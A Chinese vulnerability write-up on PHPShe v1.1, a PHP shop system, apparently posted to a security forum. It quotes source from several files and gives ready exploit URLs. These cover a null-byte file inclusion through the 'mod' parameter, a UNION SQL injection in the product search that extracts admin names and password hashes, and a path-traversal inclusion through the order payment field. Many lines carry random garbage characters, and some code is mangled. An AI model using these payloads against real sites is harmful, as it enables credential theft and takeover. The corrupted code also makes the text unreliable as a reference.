phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
9 Q% t+ M. Y1 e8 B2 s# Q% u* ^( e/* ========================
) B5 f+ c2 J5 K0 [/* By: : Kn1f3
/* E-Mail : 681796@qq.com
) b, F. f+ }: o- @* W9 \' u( U/*******************************************************/
1 K  ]+ T& d4 t/ n0×00 整体大概参数传输

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. m2 |, d" C: d  f2 s//common.php
  M% P+ [' [1 h) Bif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
+ [6 B, g" j- ]% S1 r3 @9 Q!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
. f, J# b& y; Z* j1 L! Aelse {
- J$ v0 x3 l5 N9 ?) @/ y" A) V!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
" C; f" y5 L) Z& g  h!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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; }$ Z; `. c% k: c5 t& e0×01 包含漏洞
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. F- k# p, l( \; \//首页文件
! T& V- P- a. w<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
: @! @2 c- f! J3 r  P  [) uinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
4 `) ~* e( C, F( I/ ~# `; N//common 文件 第15行开始
url路由配置
: [% k- f9 \9 Z2 ?7 t' I/ C$module = $mod = $act = 'index';
3 q9 n( B: O1 U$ z$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
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/ M: O0 k+ t" v3 ^" ?<code id="code2">

//product.php文件
& E3 g" |4 x1 [0 @/ _case 'list':
$ K0 F! U# V, K$category_id = intval($id);
9 F5 C- |9 O$ [* b+ u7 U# w$info = $db->pe_select('category', array('category_id'=>$category_id));
# G$ [, ]. L: G5 }! Z* x9 L//搜索
$sqlwhere = " and `product_state` = 1";
4 _; |- _- @+ B( [4 |' ]) ^pe_lead('hook/category.hook.php');
4 `$ ~, t' w" t4 x; ?if ($category_id) {
6 k* F& ]2 Z' o3 v8 X: g" `) R- m$ O* [where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' z! B: s" ?$ Q( B$ M+ _if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
* }0 S+ h; J. B" i% ?3 Q8 T$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
3 L* ^3 H. J$ e5 V% U' ?}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
0 c% w& J# U. Q0 w+ b! ^$ S. u# R$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
1 f  i9 K% z4 }( _0 M0 winclude(pe_tpl('product_list.html'));
; K& d9 T- P# ]$ j0 ^//跟进selectall函数库
7 y! z. M" y( o1 ]public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
6 O" q* m4 _: B7 G{
//处理条件语句
) |) n, E7 P) J1 D* [* M+ M$sqlwhere = $this->_dowhere($where);
- n9 w( P) c; |/ T4 ~6 ?return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& b5 g7 B" g' |; f9 r}
6 p- P# W2 |% k! [( {0 W, w! R+ j//exp
/ U0 i  z4 s: Q1 i' y- P. F4 eproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
# ]" O5 h% s' g+ [

</code>
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0×03 包含漏洞2
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0 A- u3 o  V7 e8 X, S. T<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

0 c% i. {. T( a" ~# m$ G" Q$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

) |( H! U: e( m, z$ b2 r2 J6 @$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

( Y& P% k  @, m$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

4 G5 B8 d% J3 L. X0 H8 a}

}

  @! _: C4 ?4 f8 U$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

0 T# C4 O# d5 vif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 L6 j$ H# H* T7 Rforeach ($info_list as $v) {

0 s, Q' R2 i+ l; x+ L3 I* H$order['order_name'] .= "{$v['product_name']};";
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+ ]) l( j, I) f/ }' N}

5 \. m9 a2 }$ F7 \* L6 n  R0 i9 Jecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

; ]$ z% l! H$ a9 U9 r+ Gelse {

pe_error('支付错误...');

}

6 i. ^: N5 z* v. n/ W" S9 B$ }6 K8 J6 J}

6 P2 ~4 l$ r" ]5 v5 _$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

% {' P' r4 ?3 D7 a9 Ybreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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